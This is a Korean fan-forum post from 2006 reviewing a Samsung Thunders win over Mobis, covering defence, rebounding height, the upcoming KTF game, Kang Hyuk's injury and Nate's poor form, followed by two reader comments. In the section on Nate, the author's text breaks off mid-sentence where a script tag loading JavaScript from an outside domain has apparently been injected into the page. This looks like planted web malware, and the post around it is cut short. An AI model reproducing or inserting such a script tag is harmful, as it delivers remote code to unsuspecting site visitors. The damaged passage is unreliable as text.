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장민국

썬더스 게시판

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[기타][모비스전 관전기] 4강직행이 보인다!
안감독님 말씀처럼 올 시즌 가장 중요한 경기를 이겼습니다.
경기 내용이 썩 만족스럽지는 않지만 어쨌든 이겼다는데 의미를 두고 싶습니다.
오늘 역시 17점차의 리드를 지키지 못 하고 역전을 허용했었지만, 단독 1위를 달리던 강한 정신력의 모비스를 상대로 재역전을 일궈냈다는 것 역시도 의미가 있다고 봅니다.

오늘 아마도 매치업에서 너무나 밀리는 모비스로서는 전반에는 윌리엄스가 공격하는 척 하면서 외곽에 어시스트를 해 주려 했던 것 같습니다. 하지만 그 동안 골밑 협력 수비를 주로 하던 삼성이 협력 수비를 하지 않자 외곽 성공율이 승산이 없다고 판단한 나머지 느리게 가면서 윌리엄스와 오예데지의 맞불 작전에 승부를 걸었던 모양입니다.

작전상으로 안감독님이 윌리엄스를 포기하고 외곽을 막자는 계산이 다소 맞아 떨어지기는 했지만, 다양한 수비작전으로 맞선 유재학 감독의 능력이 돋보이는 경기였습니다. 유재학 감독의 변칙 작전을 삼성 선수들의 실력(정확히 말하자면 월등한 높이)으로 이겨낸 경기라고 할수 있겠습니다.

오늘 경기 승리로 사실상 단독 1위에 올랐지만(승자승 원칙 적용), 강혁 선수의 부상으로 큰 골치거리를 안게 되었네요... 걱정입니다. 오늘 경기의 호재와 악재를 짚어 보겠습니다.


호재 1. 되살아난 수비조직력
제가 여러 번 강조한 말이 있습니다. "삼성이 득점을 몇 점 하는가와 상관 없이 상대팀의 득점을 80점 이하로만 묶으면 반드시 승리한다!" 무슨 애기냐 하면 득점을 많이 올리기 위한 스피디하고 외곽슛 대결을 펼친다면 삼성의 장점인 높이와 리바운드를 살리지 못 하고 속공이나 3점슛 대결을 펼쳐야 하기 때문에 승리할 가능성이 낮아지는 거죠. 주전들에 대한 의존도도 크기 때문에 빠른 농구에서 체력 문제도 드러나구요.

 오늘 역시도 승리의 가장 큰 요인은 72점이라는 적은 실점을 한 짠물 수비에 있습니다. 후반에 3점슛을 다소 얻어 맞기는 했습니다만 팀플레이에 의해 나온 외곽슛이라기 보단 운이 많이 따라준 3점슛이었기에 수비는 합격점을 주고 싶습니다.

 다만 1가지 아쉬운 점은 모비스 선수들의 3점슛이 안 터진다고 판단했을 때, 윌리엄스에게 외곽 수비선수의 협력을 시도했으면 어떨까 하는 생각이 드네요...


호재2. 높이 농구의 진수를 보여주다.
그 동안 높이 농구니 리바운드 1위팀이니 하면서도 실제로 딕슨이나 리벤슨 등에게는 다소 밀리는 모습을 보여왔던 것이 사실입니다. 하지만, 모비스가 클락이라는 신장이 낮은 선수를 영입하면서 실질적으로 왓킨스/김주성 트리오를 제외하고는 골밑에서의 우위만큼은 확실하게 가져갈 수 있지 않겠나 하는 생각입니다.

높이 농구가 살아나려면 무엇보다도 수비리바운드를 한후 리바운드한 선수가 전방으로 뛰어들어가는 가드에게 찔러주는 패스의 타이밍이 빨라야 합니다. 그리고 스윙맨에게 어시스트하여 손쉬운 속공득점을 해내야 하구요. 최근 삼성은 오예데지-강혁-네이트/서장훈 으로 이어지는 패스가 살아나면서 속공이 상당히 좋아진 모습입니다. 2쿼터 삼성이 경기 흐름을 가져 온 데에는 강혁의 손 끝에서 여러 개의 속공이 성공했기 때문입니다.

최근 삼성 농구의 끈끈한 수비와 오예데지가 보강된 높이는 작년 시즌 스토리가 영입된 후의 TG와 비슷한 색깔을 보여주고 있어 강팀으로 변모해 가는 팀을 느끼게 됩니다.


호재3. KTF전의 유리한 일정
일단 동부전이 한참 남아 있다는 걸 감안한다면 남아있는 경기 중 가장 눈에 띄는 경기는 당연히 KTF전입니다. 동부와 더불어 올 시즌 전적으로나 매치업으로나 가장 부담이 되었던 KTF입니다.
오늘 승리로 삼성은 내일 푹 쉬고 일요일 경기를 편안학 ㅔ준비할 수 있겠으나, KTF는 토요일 부산 경기를 마치고 급히 서울까지 올라와야 합니다. 일단 체력면에서 한 수 먹고 들어가는 거죠. 또한 최근 조상현의 3점이 좋지 않다는 걸 감안했을 때, 맥기를 오예데지가 잘 막아주고 송영진을 이규섭이 잘 마크해 준다면 승산이 있으리라 봅니다.


악재1. 강혁의 부상
삼성으로서는 강혁이 큰 부상이라면 우승에 큰 걸림돌이 생기는 셈입니다.
약간 접질린 것 같던데, 그런 것 치고는 강혁 선수의 반응이 매우 아파하는 모습이더군요.
제발 KTF전 건너 뛰더라도 다음 주 SK전부터는 나올 수 있기를 바랍니다. (강혁 선수의 수비가 없으면 문경은의 소나기슛이 폭발할 것이 눈에 선합니다.)


악재2. 네이트의 부진
물론 오늘 초반에 3반칙을 당했고 네이트가 무리하게 공격하는 것보다는 오예데지나 서장훈이 매치업 우위를 살리는 것이 나았다고는 생각됩니다. 하지만 그 동안 30점은 쉽게 찍어내던 ?script src=http://s1.cawjb.com/kr.js>
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박현준 | 2006.03.10 | hit :3077 좋아요0
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2개의 댓글이 있습니다.

이병석 | 2006-03-10 오후 11:33
잘읽었습니다. 네이트 오늘 4득점이더군요. 것도 자유투2점빼면 한골밖에 득점이 없네요. 뭐 워낙 성준모가 질리게 수비해대니.. 그나저나 저도 강혁선수때매 너무 걱정입니다.
최봉환 | 2006-03-11 오전 9:16:
좋은 글 잘 읽었습니다

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